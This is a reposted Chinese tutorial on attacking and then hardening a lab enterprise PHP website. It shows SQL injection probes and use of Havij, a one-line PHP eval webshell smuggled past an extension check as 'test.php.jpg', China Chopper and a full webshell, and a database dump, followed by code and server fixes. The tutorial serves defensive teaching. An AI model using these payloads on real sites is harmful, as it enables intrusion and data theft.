Web攻防系列教程之企业网站攻防实战

news/2024/5/20 4:15:18/文章来源:https://blog.csdn.net/lzpsnake/article/details/8423681
本文通过搭建一个真实的企业网站环境,先以攻击者的角度对目标网站进行入侵,最终得到目标网站数据库中的数据。然后对整个入侵过程进行详细分析,并修复目标网站存在的安全漏洞和弱点。这样通过对一个实例的完整分析,让读者对攻击者入侵网站的过程、以及网站安全加固都有一个直观的认识,当遭到黑客入侵时,不再感到无从下手。

随着B/S架构技术的高速发展和快速应用,现在几乎所有的企业、政府单位都拥有了自己的网站。对外有自己的企业门户网站,对内有OA、ERP、CRM等基于B/S架构的Web应用。与此同时,攻击者也把目光转向了这块,现在每天都有大量的网站因为存在各种安全漏洞被入侵。轻则网站页面被篡改,重则机密数据被窃取,甚至整台服务器沦陷。一旦遇到这样的事件,不仅会对企业形象造成非常巨大的负面影响,也会带来实际损失,有时这种危害甚至是灾难性的。作为一名网站管理人员,非常有必要对这块给予足够的重视。

本文用到的技术和相关工具

技术:SQL注入、文件上传检测绕过、后门木马

工具:Havij(一款SQL注入漏洞扫描和利用工具)、PhpSpy2008后门木马、中国菜刀一句话木马

入侵网站的典型步骤

一个技术比较成熟的攻击者在入侵一个目标网站时,一般会经历以下三个阶段:

一、信息收集

这一阶段的目的就是通过技术或社会工程学手段去收集目标的各种信息,比如操作系统类型、网站脚本类型、目标网站采用的数据库类型等。这个阶段收集到的信息越全面、越详细,对下一阶段实施入侵的帮助越大。一个成熟的攻击者在实施入侵前会花大量时间去收集目标网站的各种信息,在实施入侵时直取目标网站的“命门”,决不拖泥带水,争取一击致命。这一点也是一个成熟的攻击者与刚入门的攻击者之间的区别。

二、实施入侵

这一阶段中,攻击者会对信息收集阶段得到的信息进行分析、汇总,决定采用哪种方法对目标实施入侵,然后利用目标存在的安全漏洞和弱点对其实施入侵。在这一阶段,攻击者通常会得到一个权限相对比较低的Webshell。

三、提权和善后处理

如果在上一阶段攻击者直接得到了一个高权限的Webshell,那么他一般会添加一个后门,方便以后对目标进行控制,最后还会清除入侵痕迹。但更多情况下,攻击者会得到一个权限相对较低的Webshell,这时就需要做提权操作,来获取到系统的管理员权限。因为篇幅的限制,这里不对提权和清除入侵痕迹做介绍,在以后的文章中会有详细的介绍。

入侵网站全过程

通过上面的介绍,相信读者对攻击者入侵网站的过程和主要步骤都有了一个简单的认识。那么,下面我们就通过一个实例来更深入、直观的了解这个过程。

目标网站:http://192.168.30.128

入侵目标:得到目标网站数据库中的数据,并下载回本地。

步骤一 信息收集

首先,我们先来看下目标网站,界面如图1:

图1

通过网站页面,我们发现目标网站是用PHP脚本语言开发的。我们继续查看其他页面,当我们点击“在线留言“的链接时,会出现一个如图2所示的页面:

图2

我们来看下它的URL,http://192.168.30.128/leave_show.php?Id=41,这是一个典型的PHP动态页面。看到这个URL是不是很容易想到SQL注入?下面我们就通过手工的方式来探测下该页面是否存在SQL注入漏洞吧!

1. 首先,我们先在上面的URL后面添加一个单引号,看返回的页面是否正常。结果发现返回页面异常,提示“不好意思,操作失败了”。

图3

2. 接着我们在URL后面添加“+and+1=1”,发现返回的页面和正常页面相同。

图4

3. 最后我们在URL后面添加“+and+1=2”,发现返回的页面和正常页面不同。

图5

OK,通过上面三步我们可以确定此页面存在SQL注入漏洞。

步骤二 实施入侵

通过上一阶段得到的信息,我们确定目标网站存在SQL注入漏洞,下面利用SQL注入漏洞来得到我们感兴趣的内容。

为了方便,此处直接用SQL注入漏洞利用工具来得到目标网站的相关信息。如果读者对SQL注入漏洞的原理和详细手工利用过程感兴趣的话,可以查看之前的拙作http://www.rising.com.cn/newsletter/news/2012-05-24/11580.html,里面有详细的介绍和相关实例。
这里我们使用Havij(业界非常著名的一款SQL注入漏洞扫描和利用工具)。首先打开Havij,在“target”处输入存在SQL漏洞的URL,其他选项使用默认配置即可,完成后点击“Analyze”按钮,软件开始运行,如图6所示:

图6

很快,Havij就返回了结果,我们得到了目标网站数据库和其他一些信息,在图7中我们得到了目标网站后台的管理员账号和密码。

图7

密码是用MD5加密过的,解密后得到的明文是“654321”。

图8

现在我们得到了目标网站后台的管理员账号和明文密码,只要找到网站的后台地址,就可以登录进入网站后台了。下面我们来找一下网站的后台地址吧,还是用Havij来完成,如图9所示。

图9

好,现在我们来访问一下图9得到的网站后台地址,后台界面如图10。

图10

输入前面我们得到管理员账号和密码,成功进入网站后台,如图11。

图11

通过浏览后台页面,我们发现该网站在“友情链接”处有一个上面图片的功能。我们先来尝试下能否直接上传一个PHP的木马,结果发现上传失败,只允许上传jpg和gif格式的文件。如下图12。

图12

上面返回的错误信息是我们意料之中的,现在很少有网站可以直接上传PHP木马。那么,我们就没办法了吗?当然不是的,下面我们就来尝试如何绕过文件上传检测。

1.我们来新建一个txt文档,输入以下内容:“<?Php @eval($_POST['1']);?>”,这是一个一句话木马,然后将这个txt文档改名为“test.php.jpg”,如图13。

图13

2.再次上传,发现成功了(如图14)。由此可以判断,后台上传逻辑只是简单的对文件扩展名做了检测,所容易就被我们绕过了。这里之所以能成功是因为在网站中对文件扩展名检测时,是从后往前检测的,当遇到第一个“.”时,便结束检测。当我们上传的文件名为类似“test.php.jpg”这种格式时,系统会认为这是一个合法的JPG文件,从而绕过了文件上传检测。

图14

我们来看下文件上传后保存的路径(如图15)。

图15

现在我们用一句话木马客户端来连接一下刚刚上传的一句话木马,先打开“中国菜刀”一句话木马客户端,输入一句话木马的地址http://www.2cto.com/uploadfile/2012/1223/20121223123034598.jpg和密码,最后选择“添加”,如图16。

图16

接着,我们上传一个PHP的大马上去。名字为webshell.php,如下图17。

图17

现在来访问下刚刚上传的PHP大马,地址为http://192.168.30.128/link/webshell.php,如图18。

图18

在PHP中,一般会有一个数据库连接文件,里面包含网站连接数据库的账号和密码。我们通过查看数据库连接文件,得到了Mysql数据库的账号和密码,如图19。 www.2cto.com

图19

OK,现在我们把目标网站的数据库下载回本地,我们利用PHP大马来完成这个操作。

1.我们先备份一下目标网站的数据库,找到“MYSQL Manager”项,输入Mysql的账号和密码,然后选择要备份的数据库,最后点击“Connect”,提示备份成功,并给出了备份文件保存的路径和文件名,如图20。

图20

2.跳转到备份文件保存的目录下,把备份文件下载回本地,如图21。

图21

3.现在把下载的备份文件导入我们本地的数据库,到此就成功得到了目标网站数据库中的数据,如图22。

图22

如何保护我们的网站

上面我们通过一个实例来详细地演示了入侵网站的全过程,但我们的目的并不是为了去入侵别人的网站,而是为了更好地保护我们自己的网站免遭入侵。我们还是以上面的网站为例,来看下如何修复该网站存在的安全漏洞和弱点。

在上面的实例中,我们先是利用目标网站的SQL注入漏洞得到了后台的管理员账号和密码,接着通过扫描发现了网站后台地址。然后我们登录进入后台管理页面,利用系统文件上传功能存在的弱点,成功上传了一个一句话木马,得到了目标网站的Webshell,最后将目标网站的数据库下载回本地,达到了我们最初定的目标。

那么在分析完整个入侵过程后,我们来看下如何修复这些安全漏洞和弱点吧。

1.修复SQL注入漏洞

先来看下存在SQL注入漏洞处的代码:

-------------------------------------------------------------------------------------------

$id=$_GET[id];    //得到从URL传过来的参数

$rs=mysql_query("select * from leave_table where id=$id") or die("不好意思,操作失败!");

$array=mysql_fetch_array($rs);

-------------------------------------------------------------------------------------------

从上面的代码中可以看到,系统在得到URL传过来的参数后,没有做任何处理,直接带入数据库查询语句中执行查询,这是一个典型的SQL注入漏洞。

下面我们以一个简单的方法来修复这一漏洞。通过上面的代码我们得知,“id”是一个整型的参数,所以我们为了避免SQL注入漏洞的产生,直接将通过GET方式得到“id”参数值转换为整型,这样攻击者构造的注入代码便无法执行,从根本上避免了SQL注入。而且只需简单修改一下代码就可以实现,非常实用,具体如下。

-------------------------------------------------------------------------------------------

$id=(int)$_GET[id];    //修改后的代码

$rs=mysql_query("select * from leave_table where id=$id") or die("不好意思,操作失败!");

$array=mysql_fetch_array($rs);

-------------------------------------------------------------------------------------------

现在我们再来看下修改后的代码是否存在SQL注入漏洞。先在URL后面添加一个单引号,发现现在不能触发异常了,返回的依然是正常页面,如图23。

图23

我们再用工具试一下,结果也是一样,漏洞就这样简单地修复了。

2.修复文件上传检测存在弱点

我们还是先来看下这部分的代码:

-------------------------------------------------------------------------------------------

include '../conn.php';

$error=$_FILES['pic']['error'];

$tmpName=$_FILES['pic']['tmp_name'];

$name=$_FILES['pic']['name'];

$size=$_FILES['pic']['size'];

$type=$_FILES['pic']['type'];

if($name <>"")

{

$name1=substr($name,-4);    //得到上传文件的扩展名

//下面判断得到上传文件扩展名是否合法

if(($name1 <> ".gif") and ($name1 <> ".jpg"))

{

echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";

exit;

}

if(is_uploaded_file($tmpName)){

$rootpath='../../link/'.$name;      //上传文件保存路径和文件名

if(!move_uploaded_file($tmpName,$rootpath)){

echo "<script language='JavaScript'>alert('文件移动失败!');window.location='add_link.php'</script>";

exit;

}

}

}

global $pic;

$pic=$rootpath;

//

$title = $_POST["title"];

$url = $_POST["url"];

$lx = $_POST["lx"];

$px = $_POST["px"];

$adddate = date('Y-m-d H:i:s'); //echo $addtime = date('Y-m-d H:i:s');

if (mysql_query("insert into link(link_title,link_url,link_pic,link_lx,link_adddate,link_px)values('$title','$url','$pic','$lx','$adddate','$px')"))

{

echo "<script>alert('友情链接信息添加成功!');location.href='add_link.php';</script>";

}

else{

echo "<script>alert('友情链接添加失败!');history.go(-1)</script>";

}

-------------------------------------------------------------------------------------------

从上面的代码中我们可以看到,系统只对上传文件的护展名做了简单的检测,下面我们来修复这段代码存在的漏洞。

我们可以对上传后的文件改名,一般采用的方式是基于当前系统时间去生成新的文件名,在这里只需要修改一句代码即可完成。修改后的代码如下:

$rootpath='../../link/'.time().$name1;

这样一来,再上传类似test.php.jpg这样格式的文件时,因为文件名会被修改成类似1346834131.jpg这种格式,所以会造成无法解析。

上面是从代码层来解决问题,还可以在服务器上做相应配置,来阻止这样的漏洞被成功利用。我们只需要把保存上传文件目录的“执行”权限去掉即可完全阻止这样的漏洞被成功利用。而且该目录根本没必要分配执行脚本的权限。在分配目录权限时有一个原则——“目录有写入权限,一定不要分配执行权限;目录有执行权限,一定不要分配写入权限。

做到了这一点,即使攻击者成功上传了后门木马,也会因为没有执行权限而无法解析,去掉保存上传文件目录的“执行”权限的方式如图24所示。

图24

修改权限后,我们上传的后门木马因为权限不足而无法正常解析,如图25。

图25

3.其他方面安全加固

设置一个复杂的管理员账号和密码,并修改默认的网站管理后台地址。在PHP中,建议用一个低权限账号来连接数据库,一定不要用root权限连接,这是非常危险的。如果一台服务器有多个网站,建议为每个网站分配单独的数据库连接账号,并设置一个复杂的密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_868603.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

追查网站的思路

第一步从检查主办单位ICP备案查询开始。嗯&#xff0c;备案主体是个人&#xff0c;而非医院。 继续追查医院域名注册信息&#xff0c;北京武警二院注册人单位为&#xff1a;KangXin Hospital Investment and Management CO.LTD。 再反查KangXin Hospital Investment And Manage…

2010年2月中国SNS网站市场份额统计报告相关图片数据表

2010 年 2 月中国 SNS网站 市场份额统计报告&#xff08;简版&#xff09; 中国 互联网指数&#xff08; CIIS &#xff09;核心报告 目 录 一、SNS网站 Top20 市场份额统计 二、SNS网站市场集中度分析 三、互联网实验室市场份额报告目录 四、关于互联网实验室 五、关于中国…

一小时搭建属于自己的博客系统网站

Wikijs 很牛逼&#xff0c;特别牛逼的一个开源软件&#xff0c;GitHub已经有15.5k的星星 The most powerful and extensible open source Wiki software 最强大和可扩展的开源Wiki 软件这是我自己一个小时搭建的网站 下面是wiki.js的官方网站 Github地址&#xff1a;https:…

JSP+Servlet+C3P0+Mysql实现的YCU movies电影网站

本文存在视频版本,请知悉 项目简介 项目来源于&#xff1a;https://gitee.com/zhp0514/java_web_movie_website_project 这次分享一个电影网站&#xff0c;页面炫酷&#xff0c;需要有一定的前端功底。该网站存在一些bug&#xff0c;感兴趣的可以自行改改&#xff0c;也可以私信…

JSP+Spring+SpringMVC+Hibernate+Mysql实现的校园失物招领网站

项目简介 项目来源于&#xff1a;https://github.com/wenlongup/LostAndFound 因原github仓库无数据库文件&#xff0c;经过本人修改&#xff0c;现将该仓库重新上传至个人gitee仓库。 https://gitee.com/coderzcr/LostAndFound 本系统基于JSPSpringSpringMVCHibernateMysql的…

Maven+JSP+SSM+Mysql实现的音乐网站

项目简介 项目来源于&#xff1a;https://gitee.com/coder_ze/iMusic 本系统基于MavenJSPSSMMysql实现的音乐网站。主要实现的功能有音乐播放、下载、上传等几个模块。 难度等级&#xff1a;中等 技术栈 编辑器 Eclipse Version: 2020-03 (4.15.0) 前端技术 基础&#xf…

免费的网站

最近&#xff0c;我发现了一个程序的天堂&#xff1a;Github,我的免费空间&#xff01; 最近&#xff0c;我还发现了一个域名的天堂&#xff1a;freenom,万岁&#xff01;&#xff01;&#xff01; 那么如果合起来呢&#xff1f;免费的网站&#xff01; 方法&#xff1a; 1.先去…

一例千万级pv高性能高并发网站架构图 八 20

转载自&#xff1a; http://www.4u4v.net/yi-li-qian-wan-ji-pv-gao-xing-neng-gao-bing-fa-wang-zhan-jia-gou-tu.html 一个支撑千万级PV的网站是非常考验一个架构是否成熟、健壮(本文不涉及软件架构的层面&#xff0c;有兴趣也可以讨论)。现抛出一个系统层面的架构&#xff0…

利用cPanel Cron jobs定时备份和优化网站程序及数据

最近在国内互联网“扫黄打非”的狂风暴雨下&#xff0c;个人网站的站长们被弄得一个个诚惶诚恐&#xff0c;一觉醒来说不定域名就“被”停止解析&#xff0c;服务器就“被”关停&#xff01;所以&#xff0c;及时备份网站的程序和数据对于当下的中国站长们极为重要&#xff01;…

网站开启gzip压缩

GZip压缩&#xff0c;是一种网站速度优化技术&#xff0c;也是一把SEO优化利器&#xff0c;许多网站都采用了这种技术&#xff0c;以达到提升网页打开速度、缩短网页打开时间的目的。 本文是一篇研究性文章&#xff0c;将通过某个案例来给大家显示网站采用GZip压缩前后的对比效…

使用rrdtool统计网站PV和IP

现在网站服务器已经使用snmp进行监控&#xff0c;已经对CPU&#xff0c;内存&#xff0c;流量等进行了监控&#xff0c;但觉得还需要加一项监控&#xff0c;就是网站的PV和IP的监控&#xff0c;这样可以快速知道服务器负载上升是否是网站访问量增加的原因。这几天初学rrdtool&a…

构架高性能WEB网站的几点知识

前言&#xff1a; 对于构架高性能的web网站大家都很感兴趣&#xff0c;本文从几点粗谈高性能web网站需要考虑的问题。 HTML静态化 什么是html静态化&#xff1f; 说得简单点&#xff0c;就是把所有不是.htm或者.html的页面改为.htm或者.html 1.纯静态页面 当用户访问是&#xf…

如何测试一个门户网站是否可以支持10万用户同时在线?

先是楼主提出问题&#xff1a; 最近公司一个项目,是个门户网站,需要做性能测试,根据项目特点定出了主要测试项和测试方案一种是测试几个常用页面能接受的最大并发数(用户名参数化,设置集合点策略)一种是测试服务器长时间压力下,用户能否正常操作(用户名参数化,迭代运行脚本)还有…

大型网站架构演化

转载自&#xff1a; http://ndminfy.iteye.com/blog/2223932 一、大型网站系统特点 &#xff08;1&#xff09;高并发、大流量&#xff1a;PV量巨大 &#xff08;2&#xff09;高可用&#xff1a;7*24小时不间断服务 &#xff08;3&#xff09;海量数据&#xff1a;文件数目分…

网站分析数据收集方式详解:Web日志JS标记和包嗅探器

回顾网站分析历史&#xff0c;从“您是第***位来访用户”到现在百家齐放的专业工具提供商&#xff0c;网站分析已经逐渐发展衍化成一门科学。但面对形态各异的分析数据&#xff0c;很多人仍然困惑于数据的来源&#xff0c;了解网站分析数据的收集原理&#xff0c;也许对你解决这…

网站分析数据收集方式详解:Web日志JS标记和包嗅探器

回顾网站分析历史&#xff0c;从“您是第***位来访用户”到现在百家齐放的专业工具提供商&#xff0c;网站分析已经逐渐发展衍化成一门科学。但面对形态各异的分析数据&#xff0c;很多人仍然困惑于数据的来源&#xff0c;了解网站分析数据的收集原理&#xff0c;也许对你解决这…

网站分析数据收集方式详解:Web日志JS标记和包嗅探器

回顾网站分析历史&#xff0c;从“您是第***位来访用户”到现在百家齐放的专业工具提供商&#xff0c;网站分析已经逐渐发展衍化成一门科学。但面对形态各异的分析数据&#xff0c;很多人仍然困惑于数据的来源&#xff0c;了解网站分析数据的收集原理&#xff0c;也许对你解决这…

不完美的网站分析数据:数据理想化和访问者理想化

一、 技术理想化 每种数据收集方式都有其独特的技术优势&#xff0c;但没有一种收集方式能完美的捕获到访问者在网站上的所有动作&#xff0c;每种技术也都会由于自身的局限性导致你看到的数据是并不完美的数据。以计算页面停留时间为例&#xff0c;下图是一次访问的时间记录&a…

不完美的网站分析数据:数据理想化和访问者理想化

一、 技术理想化 每种数据收集方式都有其独特的技术优势&#xff0c;但没有一种收集方式能完美的捕获到访问者在网站上的所有动作&#xff0c;每种技术也都会由于自身的局限性导致你看到的数据是并不完美的数据。以计算页面停留时间为例&#xff0c;下图是一次访问的时间记录&a…

收集一些有用的网站(不定期更新)

2016 -------------- 收藏夹里面网站过多&#xff0c;经常有些非常不错的网站收藏一下之后就扔在角落里面再也没去过了&#xff0c;甚是可惜。 没事的时候整理整理收藏夹&#xff0c;也将看到的不错的网站分享一下。 以下网址&#xff0c;请复制-右键-转到XXXX 懒如博主&#…